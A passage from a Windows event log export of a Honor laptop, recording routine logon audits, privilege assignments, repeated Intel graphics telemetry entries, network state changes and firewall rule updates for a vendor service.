accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:30:50.178\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:30:50.219\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:50.371\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:50.534\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:50.640\t4004\t\"Network State Change Fired\n\tNew Internet Connection Profile: false\n\tConnection Cost Changed: false\n\tDomain Connectivity Level Changed: false\n\tNetwork Connectivity Level Changed: false\n\tHost Name Changed: true\n\tWwan Registration State Changed: false\n\tTethering Operational State Changed: false\n\tTethering Client Count Changed: false\"\tInformation\tMicrosoft-Windows-NetworkProfile/Operational\tMicrosoft-Windows-NetworkProfile\n05.09.2026 08:30:50.650\t1024\tInternet connection status changed to true, submitting pending workitems: count = 0.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:50.699\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:50.965\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:51.134\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:51.303\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:51.463\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:51.627\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:51.783\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:51.946\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:52.202\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:52.368\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:52.549\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:52.708\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:52.870\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:53.028\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:53.185\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:53.348\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:53.514\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:53.675\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:53.826\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:53.992\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:54.150\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:54.320\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:54.484\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:54.657\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:54.821\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:54.991\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:55.148\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:55.415\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:55.587\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:55.745\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:55.914\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:56.074\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:56.229\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:56.319\t30810\t\"Added a TCP/IP transport interface.\n\nName: \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043f\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438* 10\nInterfaceIndex: 0xA\n\nGuidance:\nA TCP/IP binding was added to the specified network adapter for the SMB client. The SMB client can now send and receive SMB traffic on this network adapter using TCP/IP. You should expect this event when a computer restarts or when a previously disabled network adaptor is re-enabled. No user action is required.\"\tInformation\tMicrosoft-Windows-SmbClient/Connectivity\tMicrosoft-Windows-SMBClient\n05.09.2026 08:30:56.319\t1040\tReceived Mib notification type MibAddInstance for interface 10\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:30:56.319\t1034\tSend RDMA Endpoint notification failure - DadState is different from IpDadStatePreferred for interface 10. Current DadState: 1.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:30:56.405\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:56.573\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:56.865\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:57.035\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:57.297\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:57.457\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:57.615\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:57.782\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:57.948\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:58.115\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:58.140\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:58.144\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:58.144\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:58.279\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:58.428\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:58.589\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:58.750\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:58.940\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:59.207\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:59.370\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:59.540\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:59.701\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:59.857\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:00.026\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:00.179\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:00.354\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:00.519\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:00.685\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:00.953\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:01.108\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:01.274\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:01.328\t4004\t\"Network State Change Fired\n\tNew Internet Connection Profile: false\n\tConnection Cost Changed: false\n\tDomain Connectivity Level Changed: false\n\tNetwork Connectivity Level Changed: false\n\tHost Name Changed: true\n\tWwan Registration State Changed: false\n\tTethering Operational State Changed: false\n\tTethering Client Count Changed: false\"\tInformation\tMicrosoft-Windows-NetworkProfile/Operational\tMicrosoft-Windows-NetworkProfile\n05.09.2026 08:31:01.338\t1024\tInternet connection status changed to true, submitting pending workitems: count = 0.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:01.435\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:01.486\t0\tService stopped.\tInformation\tApplication\tedgeupdate\n05.09.2026 08:31:01.706\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:01.973\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:02.128\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:02.285\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:02.449\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:02.624\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:02.798\t900\t\"The Software Protection service is starting.\nParameters:\"\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:31:02.847\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:02.859\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\t{48A1CEBF-3174-4FFD-BA33-4EFACDCDBCCC}\n\tRule Name:\tTrustCircleService\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:02.860\t16394\tOffline downlevel migration succeeded.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:31:02.864\t2099\t\"A rule has been modified in the Windows Defender Firewall exception list.\n\nModified Rule:\n\tRule ID:\t{DF062EC5-5CFA-4F0B-AC28-423B1669F4E1}\n\tRule Name:\tTrustCircleService\n\tOrigin:\t0\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPrivate,Domain, Public\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\HONOR\\TrustCircle\\HnTrustCircleService.exe\n\tService Name:\t\n\tProtocol:\tAny\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t2\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:02.865\t2097\t\"A rule has been added to the Windows Defender Firewall exception list.\n\nAdded Rule:\n\tRule ID:\t{DF062EC5-5CFA-4F0B-AC28-423B1669F4E1}\n\tRule Name:\tTrustCircleService\n\tOrigin:\tLocal\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPrivate,Domain, Public\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\HONOR\\TrustCircle\\HnTrustCircleService.exe\n\tService Name:\t\n\tProtocol:\tAny\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:02.931\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a 